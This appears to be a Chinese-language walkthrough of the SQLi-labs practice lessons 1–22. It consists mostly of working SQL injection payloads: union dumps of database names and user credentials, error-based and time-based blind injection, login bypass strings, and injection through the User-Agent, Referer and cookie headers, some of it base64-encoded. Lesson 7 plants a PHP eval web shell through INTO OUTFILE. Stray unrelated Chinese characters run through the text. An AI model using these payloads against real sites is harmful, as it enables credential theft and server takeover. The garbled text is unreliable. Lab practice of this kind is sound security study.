lesson1：
插入單引號報錯
id被單引號包裹郭赐，確認字段數(shù)
?id=1' order by 3--+
字段為3兄猩，使用union select 1,2,3聯(lián)合查詢語句查看頁面是否有顯示位
?id=-1' union select 1,2,3--+
有兩個顯示位，接下來開始爆庫名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
爆表
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
爆列
select group_concat(column_name) from information_schema.columns where table_name='users'
爆值
union select 1,group_concat(username,0x3a,password),3 from users
lesson2:
插入單引號
由報錯判斷為數(shù)字型注入，注入方法同上，把單引號去掉就好
lesson:3
插入單引號報錯，輸入?id=1')--+發(fā)現(xiàn)可以正常顯示边臼，判定為字符型注入
注入方法同上，在單引號后面加個括號即可
lesson4:
插入單引號沒反應假消，換用雙引號后報錯柠并，注入方法同上
lesson：5
看到這個報錯有可能是布爾型盲注，時間盲注富拗，報錯注入
注入
?id=1’ and sleep(5)--+發(fā)現(xiàn)有延遲
考慮使用報錯注入
1. 通過floor報錯
and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句
需要注意的是該語句將 輸出字符長度限制為64個字符
2. 通過updatexml報錯
and updatexml(1,payload,1)
同樣該語句對輸出的字符長度也做了限制臼予，其最長輸出32位
并且該語句對payload的反悔類型也做了限制，只有在payload返回的不是xml格式才會生效
3. 通過ExtractValue報錯
and extractvalue(1, payload)
輸出字符有長度限制啃沪，最長32位粘拾。
使用floor報錯語句注入
?id=1' and (select 1 from (select count(),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)2))x from information_schema.tables group by x)a) --+
輸出信息超過一行，只能用limit 0,1一個個輸出了
?id=1' and (select 1 from (select count(),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)2))x from information_schema.tables group by x)a) --+
庫名出來了创千，接下來方法就和之前一樣了
lesson6：
同樣的原理缰雇，把?id=1'的單引號換成雙引號就行
lesson7:
輸入?id=1
輸入?id=1 and 1=2回顯正常，不是數(shù)值型注入
嘗試加入單引號發(fā)現(xiàn)報錯追驴，換成雙引號也是一樣械哟，加上）依然報錯
輸入id=5')) --+
暗示向服務器寫文件?
因為我用的是phpstudy搭的環(huán)境，所以我直接用電腦上的目錄
使用語句
union select 1,2,3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\wh1te.php"
寫入成功
上傳木馬殿雪，使用cknife鏈接
?id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\muma.php" --+
lesson8：
輸入?id=2' --+回顯正常
字符型注入暇咆，方法同上
lesson9：
輸入?id=1' and sleep(5) --+存在延遲，判斷為延遲型注入
lesson10:
同上，單引號換雙引號
lesson11：
登陸界面爸业，使用萬能密碼
admin' or 1=1#
登陸成功其骄，開爆
爆庫：
admin' union select 1,group_concat(schema_name) from information_schema.schemata #
爆表：
admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段：
admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
lesson12:
admin") or 1=1 #
之后方法同上
lesson13：
admin') or 1=1#
頁面無返回信息，只能進行盲注
猜長度
admin') or length(database())>要猜的長度 and sleep(5)#
猜庫名：
admin') or left(version(),1)>'要猜的庫名' and sleep(5)#
猜表名：
admin') or ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>要猜的表名ASCII and sleep(5)#
lesson14：
admin“ or 1=1#
之后方法同上
lesson15：
admin' or 1=1#
之后方法同上
lesson16：
admin") or 1=1 #
和上面一樣沃呢，無返回信息年栓，但是可以使用延時注入判斷注入點
admin") and sleep(5) #
其余同上
lesson17：
做到自閉，查看源碼
加了用戶名注入過濾薄霜，但是沒有密碼注入過濾，所以纸兔。惰瓜。。你懂的
lesson18：
莫得用戶名和密碼注入了
查看源碼
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
存在利用構(gòu)造User Agent進行注入的可能汉矿，上brupsuit抓包改User Agent
' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #
得到mysql版本
同理崎坊，可得表名等信息
表名
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) , 1, 1) #
lesson19：
Refer注入
' or (select 1 from (select count(),concat(database(), '~' , floor (rand()2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#
其余方法同上
lesson20：
查看源碼
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
存在cookie注入
uname = ' union select 1 , 2 , database()#
其他同理
lesson21
和上題一樣，屬于cookie注入洲拇，先看源碼
和上題基本一樣奈揍，之不過給用戶名（uname）進行了base64加密，對注入語句進行加密即可
注入語句:
admin1')and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
加密后payload:
YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
報錯注入
lesson22
與上題基本一樣赋续，'改成”即可
" union select 1,2,database()#
payload:IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
